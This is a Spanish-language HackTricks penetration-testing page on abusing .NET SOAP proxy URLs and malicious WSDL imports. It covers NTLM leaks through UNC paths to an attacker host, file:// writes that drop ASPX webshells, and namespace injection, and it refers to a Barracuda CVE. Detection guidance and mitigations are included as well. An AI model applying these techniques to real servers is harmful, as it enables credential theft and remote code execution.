.NET SOAP/WSDL Abuso del proxy de cliente
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
SoapHttpClientProtocol,DiscoveryClientProtocoland friends heredan deHttpWebClientProtocol, cuyoGetWebRequest()devuelve la instancia agnóstica al esquemaWebRequestproducida porWebRequest.Create()sin imponerHttpWebRequest.- Si un atacante controla el proxy
Url, el framework silenciosamente intercambiaFileWebRequest,FtpWebRequesto manejadores UNC/SMB, convirtiendo proxies “HTTP” en gadgets de leak NTLM o en escritores de archivos arbitrarios. - Cualquier funcionalidad que importe un WSDL suministrado por el atacante con
ServiceDescriptionImporteragrava el fallo: el WSDL controla el constructor del proxy generado, los métodos SOAP, los tipos complejos y los namespaces, permitiendo RCE pre-auth (webshells, drops de scripts) en productos como Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell y SSIS.
Root cause: HttpWebClientProtocol is scheme-agnostic
WebClientProtocol.GetWebRequest() hace var req = WebRequest.Create(uri) y lo devuelve sin tocar. HttpWebClientProtocol.GetWebRequest() intenta req as HttpWebRequest para establecer campos exclusivos de HTTP, pero aún así devuelve el req original incluso cuando el cast falla. Por tanto el runtime obedece el esquema que esté presente en Url:
http(s)://→HttpWebRequestfile:///or\\host\share\→FileWebRequestftp://→FtpWebRequest
SoapHttpClientProtocol.Invoke() luego envía el cuerpo POST SOAP a través del manejador de transporte seleccionado, incluso si eso implica escribir en disco o a través de SMB.
Primitiva 1 – Captura / relay NTLM vía destinos UNC
- Obtén control sobre
SoapHttpClientProtocol.Url(setter directo, valor de config, fila de base de datos, etc.). - Apúntalo a una ruta UNC como
file://attacker.local/sink/payload. - El CLR abre la ruta vía SMB y realiza autenticación integrada, leaking NTLM challenge/response al atacante.
- Usa los hashes capturados para cracking offline o NTLM relay (SMB/HTTP) si signing/EPA no están presentes.
Esto aplica a cualquier ruta proxy .NET SOAP/HTTP que acepte entrada de usuario, incluso si no es posible más explotación.
Primitiva 2 – Escrituras de archivos arbitrarias vía file://
- Establece
Url = "file:///inetpub/wwwroot/poc.aspx"(o cualquier ruta escribible) antes de la llamada al proxy. - Invoca cualquier método SOAP; el framework escribe todo el sobre SOAP en la ruta elegida, sobrescribiendo archivos existentes.
- Los argumentos controlados por el usuario aparecen dentro de elementos XML, permitiendo a atacantes dejar payloads CSHTML/ASPX o envenenar archivos de configuración.
Limitaciones:
- El contenido es siempre XML; los campos escalares se codifican como entidades, por lo que inyectar
<script>mediante cadenas simples requiere trucos adicionales. - Los payloads significativos necesitan al menos un argumento influenciado por el atacante o la capacidad de modificar la firma del método (ver abuso de WSDL).
El runtime frecuentemente lanza Client found response content type of 'application/octet-stream', but expected 'text/xml' después de la escritura—trata este error como un IOC.
Explotación de importaciones WSDL
Proxies auto-generados vía ServiceDescriptionImporter
Muchos productos exponen características de “custom web service” que aceptan una URL de WSDL, y luego:
ServiceDescription.Read()el WSDL controlado por el atacante.ServiceDescriptionImportergenera clases proxy en C# que extiendenSoapHttpClientProtocol.- CodeDOM compila el proxy y reflection invoca el método solicitado.
El atacante controla totalmente:
soap:address/soap12:addresslocation→ se convierte enbase.Url(puede apuntar afile://o rutas UNC).- Nombres de métodos, listas de parámetros, tipos complejos y serializadores.
- URIs de namespace que terminan como atributos
xmlns:*en cada mensaje SOAP.
No ocurre validación del esquema, por lo que cada proxy generado hereda el fallo de diseño original.
Moldeando el sobre SOAP para RCE
- Serialización de tipos complejos: Define structs personalizados en el WSDL de modo que cuando
XmlSerializerlos vuelva a emitir, produzcan nombres/atributos de elementos elegidos por el atacante. Para drops de webshell ASPX, crea tipos que serialicen a:
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
y apunta Url a file:///.../webroot/shell.aspx para conseguir RCE.
- Inyección de namespace: Incluso cuando los argumentos están codificados (por ejemplo, Umbraco Forms), los namespaces declarados en el WSDL (por ejemplo,
xmlns:tns="http://host/service?x=@{...}") se copian verbatim en el sobre SOAP. Codificar payloads dentro de la query string del namespace permite drops de CSHTML Razor o scripts PowerShell sin control de parámetros.
Estas técnicas impulsaron el exploit contra Barracuda Service Center RMM (CVE-2025-34392): una llamada SOAP no autenticada suministró un WSDL malicioso, estableció soap12:address a file:///Program Files/.../SCMessaging/poc.aspx, inyectó <script runat="server"> vía parámetros complejos y subió un webshell que ejecutó comandos arbitrarios cmd.exe.
Flujo de ataque típico
- Identifica funcionalidad que acepte una URL de WSDL o que permita a usuarios configurar endpoints SOAP (p. ej., Barracuda
InvokeRemoteMethod, conectores Ivanti EPM, datasources de Umbraco 8 Forms, PowerShellNew-WebServiceProxy). - Hospeda un WSDL malicioso cuyo
soap:addressapunte a una ruta escribible o share UNC y cuyas definiciones de esquema provean métodos/tipos adecuados para payloads. - Dispara la importación/compilación. El objetivo emite una DLL proxy con constructor y métodos controlados por el atacante.
- Cuando la aplicación invoca el método generado, la petición SOAP se serializa y escribe en la ruta especificada por el atacante, embebiendo el payload.
- Ejecuta el archivo dejado (navega a
poc.aspx?cmd=whoami, carga el CSHTML, o deja que PowerShell ejecute el script) o reutiliza material NTLM capturado.
Detection & hunting
- Análisis estático: Haz grep de
ServiceDescriptionImporter,SoapHttpClientProtocol,HttpWebClientProtocol, oNew-WebServiceProxy. Rastrea cómo se obtieneUrlo las entradas WSDL—cualquier cosa controlada por el usuario es una señal de alarma. - Telemetría en runtime:
- Instrumenta la creación de proxies para registrar esquemas; alerta sobre valores
file,ftpo UNC. - Monitorea el característico error “Client found response content type of ‘application/octet-stream’” después de las llamadas SOAP.
- Vigila escrituras inesperadas de
.aspx/.cshtml/.ps1en directorios de la aplicación realizadas por la identidad del servicio web. - Señales de red/archivo: Conexiones SMB iniciadas por servidores web hacia infraestructura atacante, o compilaciones repentinas de DLLs proxy temporales, a menudo preceden la explotación.
Mitigaciones
- Hacer validación de transporte antes de invocar cualquier proxy derivado de
HttpWebClientProtocol:
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
- Sanitizar WSDL importados: Descarga de proxies a través de un broker que reescriba o rechace entradas
soap:addressque no sean HTTP/S, elimine bindings desconocidos y prohíba trucos de payload en namespaces. - Deshabilitar features de WSDL no confiables: Reemplaza las comodidades de “upload a WSDL” por plantillas server-side verificadas o listas de permitidos.
- Segregar ubicaciones de escritura: Asegura que los app pools no puedan escribir en directorios ejecutables; usa volúmenes separados para datos y código de modo que primitivas de escritura no se conviertan en RCE.
- Endurecer exposición NTLM: Deshabilita SMB saliente cuando sea posible; si no, aplica SMB signing, EPA y otras mitigaciones contra relay.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


